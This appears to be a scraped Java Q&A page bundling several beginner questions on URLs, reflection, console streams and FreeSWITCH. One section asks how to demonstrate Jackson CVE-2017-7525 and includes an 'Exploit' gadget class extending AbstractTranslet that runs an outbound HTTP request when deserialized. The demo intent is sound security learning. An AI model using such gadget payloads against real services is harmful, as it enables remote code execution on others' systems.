read only text from url using java - java

I have been trying to execute this program, but it shows error saying that urlconnectionreader cannot be resolved. I'm new to programming. Can someone help me with this?
This is my code:
import java.net.*;
import java.io.*;
public class ReadTextFromUrl {
public static String getText(String url) throws Exception {
URL website = new URL(url);
URLConnection connection = website.openConnection();
BufferedReader in = new BufferedReader(
new InputStreamReader(connection.getInputStream()));
StringBuilder response = new StringBuilder();
String inputLine;
while ((inputLine = in.readLine()) != null)
response.append(inputLine);
in.close();
return response.toString();
}
public static void main(String[] args) throws Exception {
// enter code here
String content = URLConnectionReader.getText(args[0]);
System.out.println(content);
}
}

There are Many Libraries to read text from URL,
You can Try jsoup library to read or extract only text.
import java.io.IOException;
import org.jsoup.Jsoup;
public class ReadTextFromURL {
public static void main(String[] args) throws IOException {
String text = Jsoup.connect("https://stackoverflow.com/questions/40741265/read-only-text-from-url-using-java").get().text();
System.out.println(text);
}
}

In your case the class name should be URLConnectionReader or you can change the the calling function via your class name .
String content = ReadTextFromUrl.getText(args[0]);

what you need to study more is objects.you must know that the classes are the blueprints.you cant use a saw blueprint to saw a tree.you need the saw itself.and by creating a object from that class you will have the saw.so when you have the saw in your hands you can saw the tree.making an object from a class works exactly the same.and using the ways(methods) to saw the tree with the actual saw is like using the methods of the class.
lets think you have a class named Saw and it has a method named sawTheTree.
public class Saw {
public void sawTheTree {
// do the sawing
}
}
its the blueprint by now.to use this saw and the method you need this :
Saw saw = new Saw();
now you have the saw in your hands.lets go and saw the tree.for this you need this code in your main method or where ever you feel the need of sawing the tree.
saw.sawTheTree();
now the the saw will saw the tree for you.
P.S: in your code you have declared the getText method static so you don't need the object creation part.if you are asking why look again at static statement description.but to use a non static method from a class you need to create the object.

Related

reproducing the jackson vulnerability CVE-2017-7525 using spring boot and custom java class

I read about the ongoing jackson vulnerability(CVE-2017-7525) which allows for remote code execution, as explainedhere.
I did some modifications to the example class given on that page and wrote something like this:
import java.io.*;
import java.net.*;
public class Exploit extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet {
private static String urlString = "https://sv443.net/jokeapi/category/any?blacklistFlags=nsfwreligiouspolitical";
public Exploit() throws Exception {
StringBuilder result = new StringBuilder();
URL url = new URL(urlString);
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setRequestMethod("GET");
BufferedReader rd = new BufferedReader(new InputStreamReader(conn.getInputStream()));
String line;
while ((line = rd.readLine()) != null) {
result.append(line);
}
rd.close();
//Lets see the joke in the logs
System.out.println(result);
}
#Override
public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) {
}
#Override
public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handler) {
}
}
Compiled the .java file and opened the generated .class file and passed its contents as part of the sample api request body provided, however it appears the the custom code may not have been executed (or so I think), I am expecting to see something on the application logs, printing the output of the request. However I do not see anything being printed.
Does anyone have a simple example that showcases this vulnerability using spring boot and jackson, through an api call using bogus jackson?
I understand this is an unusual question, but I am looking into this interesting topic hoping there is someone out there who has come across the need to demo this issue.
In short I am looking to demo this java deserialization vulnerability while using spring boot, jackson by making an api call and passing a Json document which contains the compiled java code to be executed.

java.lang.ClassNotFoundException, PATH is corrent

I'm trying to create a simple program, but of course JAVA thinks otherwise: it's not that simple.
I need to dynamically instantiate a class, meaning that the user gives a class name from keyboard, and then an object of the class type with that name is created.
Code:
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.lang.reflect.*;
public class NimMain {
public static void main(String[] args) throws IOException {
BufferedReader Olvaso = new BufferedReader(new InputStreamReader(System.in));
String be = Olvaso.readLine();
String[] kapcsolo = be.split(" ");
switch (kapcsolo[0]) {
case "uj": uj(kapcsolo);
case "lep":
case "listaz":
case "ment":
case "tolt":
}}
public static void uj(String[] s) {
try {
int b = 2;
String nev = s[1];
Class NimJatek = Class.forName(nev);
Constructor con = NimJatek.getConstructor(String[].class, int.class);
Object xyz = con.newInstance(s,b);
} catch (Exception e) {
e.printStackTrace();
}
}
}
The class which fails to instantiate is NimJatek, which is in the same directory, in the same (unnamed) package.
When I try to run this program, it gives the java.lang.ClassNotFoundException error.
I think you baffle yourself by your not very clear constructs. At the end you use the second value of your input string to be loaded as class. If you provide the correct string there it will be laoded correctly. The input string:
"uj NimJatek"
will lead to a correctly found class NimJatek - provided NimJatek is in your root package AND this root package is on your classpath.

Read my own printed line in console

Is there a way in which, from a function, I print a String in with System.out.print() and then read it from another function?
something like:
void printC(String foo){
System.out.print(foo);
}
void read(){
String c;
while(something){
printC(somethingElse);
c = System.console.readLine();
JOptionPane.showMessageDialog(c);
}
}
No, you can't. As other people have commented, you probably just want an internal data structure to connect different components.
In command-line programs, the standard input and standard output (plus standard error) are completely independent streams. It's typical for all three to be connected to a single virtual terminal, but they can be redirected independently from the shell, such as by using a pipeline or files.
Think about what if the input of your program is coming from a file and the output is being piped to another program; trying to "get back" the output doesn't make any sense.
Try PipedOutputStream.
import java.io.IOException;
import java.io.PipedInputStream;
import java.io.PipedOutputStream;
import java.io.PrintStream;
import java.util.Scanner;
import javax.swing.JFrame;
import javax.swing.JOptionPane;
public class Test extends JFrame {
void printC(String foo){
System.out.print(foo);
}
void read() throws IOException{
String c = "";
PipedOutputStream pipeOut = new PipedOutputStream();
PipedInputStream pipeIn = new PipedInputStream(pipeOut);
System.setOut(new PrintStream(pipeOut));
Scanner sc = new Scanner(pipeIn);
while(!c.equalsIgnoreCase("Quit")){
printC("Test\n");
c = sc.nextLine();
JOptionPane.showMessageDialog(this, c);
}
}
public static void main(String[] args) throws IOException {
Test t = new Test();
t.read();
}
}
Why do you want to do this? Is it so that you can print something to the screen or so that you can create events?
If you particularly want to pass messages to the screen AND also another part of your application; a simple solution could involve creating your own PrintStream class. You can deal with the object in the same way as you would otherwise deal with System.out (as that's a PrintStream too).
Something along the lines of this:
public class FancyStream extends PrintStream
{
LinkedList<String> messageQueue = new LinkedList<>();
#Override
public void println(String line)
{
System.out.println(line);
messageQueue.add(line);
}
public String getLine()
{
return messageQueue.pop();
}
}
However, if you want events (as you've suggested in the comments), this is not the way to do it!
You should take a look at the Observer pattern for dealing with events. The wikipedia article about this is here.
There's plenty of other resources to learn about the Observer pattern if you do a Google search. Java even has a built in Observable class and Observer interface that may solve your problem.

how to access a method from private static class

im trying to put all stopwords on a hashset, i dont want to add it one by one so im trying to put in a txt file and have my scanner scan it. the problem is i think my code does not reach my scanner here is my code:
import java.io.BufferedReader;
import java.io.FileReader;
import java.io.IOException;
import java.util.*;
public class StopWords {
public static final Set<String> stopWords = new HashSet<String>();
private static class scan {
public scan()throws IOException {
Scanner s = null;
try{
s = new Scanner(new BufferedReader(new FileReader("stopwords.txt")));
while (s.hasNext()) {
//System.out.println(s.next());
stopWords.add(s.next());
}
}finally{
if (s != null) {
s.close();
}
}
}
}
}
im running my main on other class and im just calling this class. thanks in advance
Make a wrapper for it in enclosing class.
Something like:
public void doScan() {
try {
scan.scan();
catch (IOException e) {};
}
in StopWords class.
This way you could call doScan() on instance of StopWords. You could also make it static.
And I agree that you should follow naming convections of Java language (wikipedia.org).
Just want to add a couple tricks you might consider:
First - you could store your stopwords in a properties file, then use java.util.Properties.load to pull the data in.
Second - you can put your stopwords file on your classpath, and bundle up the stopwords file with the rest of your code in a jar for delivery.
You wind up with something like this:
final Properties stopProps = new java.util.Properties();
stopProps.load( new InputStreamReader( this.class.getClassLoader().getResourceAsStream( "mycode/stopWords.properties", "UTF-8" ) );
...
Good luck!

How to Execute FreeSWITCH (fs_cli) from a java application

I am new to freeswitch, I have tried originate command in freeswitch from fs_cli console and it was working properly. now my requirement is to execute the same from a java application.
I have tried following code
package org.freeswitch.esl.client.outbound.example;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
class Call {
Call() throws IOException {
Process pr = Runtime.getRuntime().exec("./fs_cli -x \"originate loopback/1234/default &bridge(sofia/internal/1789#192.168.0.198)\"");
BufferedReader br = new BufferedReader(new InputStreamReader(pr.getInputStream()));
String str = null;
while ((str = br.readLine()) != null) {
System.out.println(str);
}
System.out.print("success");
}
public static void main(String[] args) throws IOException {
Call call;
call = new Call();
}
}
Output
-ERR "originate Command not found!
success
please help me,
fs_cli is at "/usr/local/freeswitch/bin/" location
I have created a symbolic link in my workspace directory.
why don't you use the ESL client? It should provide much more options, and originating a call would be no problem.
Regarding your particular problem, it looks like your program tried to execute "originate" command in the shell, not the ./fs_cli. Probably it needs more Java documentation reading :)

Categories

Resources